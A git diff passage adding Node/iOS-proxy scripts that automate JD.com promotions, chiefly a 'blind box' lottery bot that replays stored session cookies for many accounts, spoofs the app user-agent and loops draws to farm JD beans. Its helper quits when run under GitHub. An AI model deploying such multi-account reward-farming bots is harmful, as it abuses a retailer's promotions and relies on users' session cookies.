"https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post((options), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + if (type === '3' && functionId === 'reportCcTask') console.log(`点击首页领券图标(进入领券中心浏览15s)任务:${data}`) + if (type === '4' && functionId === 'reportCcTask') console.log(`点击“券后9.9”任务:${data}`) + // data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body = {}) { + const time = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${time}&body=${escape(JSON.stringify(body))}&uuid=88732f840b77821b345bf07fd71f609e6ff12f43`, + // url: `${JD_API_HOST}?functionId=${function_id}&appid=jd_mp_h5&loginType=2&client=jd_mp_h5&t=${time}&body=${escape(JSON.stringify(body))}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "content-length": "0", + "cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "user-agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_nzmh.js b/jd_nzmh.js new file mode 100644 index 0000000..d3dc4c4 --- /dev/null +++ b/jd_nzmh.js @@ -0,0 +1,296 @@ +/* +女装盲盒 +活动时间:2021-5-24至2021-6-22 +活动地址:https://anmp.jd.com/babelDiy/Zeus/sVeWYpCvtfH754mtAT13s8V1Yjt/index.html +活动入口:京东app-女装馆-赢京豆 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#女装盲盒 +35 1,23 * * * jd_nzmh.js, tag=女装盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "35 1,23 * * *" script-path=jd_nzmh.js,tag=女装盲盒 + +===============Surge================= +女装盲盒 = type=cron,cronexp="35 1,23 * * *",wake-system=1,timeout=3600,script-path=jd_nzmh.js + +============小火箭========= +女装盲盒 = type=cron,script-path=jd_nzmh.js, cronexpr="35 1,23 * * *", timeout=3600, enable=true + */ + +const $ = new Env('女装盲盒抽京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('女装盲盒\n' + + '活动时间:2021-5-24至2021-6-22\n' + + '活动地址:https://anmp.jd.com/babelDiy/Zeus/sVeWYpCvtfH754mtAT13s8V1Yjt/index.html\n' + + '活动入口:京东app-女装馆-赢京豆'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + try { + //await jdMh('https://h5.m.jd.com/babelDiy/Zeus/3eeruLXVbXge6CexVq8XkBbBvAfy/index.html') + await jdMh('https://anmp.jd.com/babelDiy/Zeus/sVeWYpCvtfH754mtAT13s8V1Yjt/index.html') + // await jdMh('https://anmp.jd.com/babelDiy/Zeus/yiNQjMxQvs3R3SdS4nwa2MFk1FE/index.html?wxAppName=jd') + } catch (e) { + $.logErr(e) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh(url) { + try { + await getInfo(url) + await getUserInfo() + await draw() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getInfo(url = 'https://anmp.jd.com/babelDiy/Zeus/3DSHPs2xC66RgcCEB8YVLsudqfh5/index.html?wxAppName=jd') { + console.log(`url:${url}`) + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data && data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "JD4iPhone/9.3.5 CFNetwork/1209 Darwin/20.2.0") : ($.getdata('JDUA') ? $.getdata('JDUA') : "JD4iPhone/9.3.5 CFNetwork/1209 Darwin/20.2.0") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, 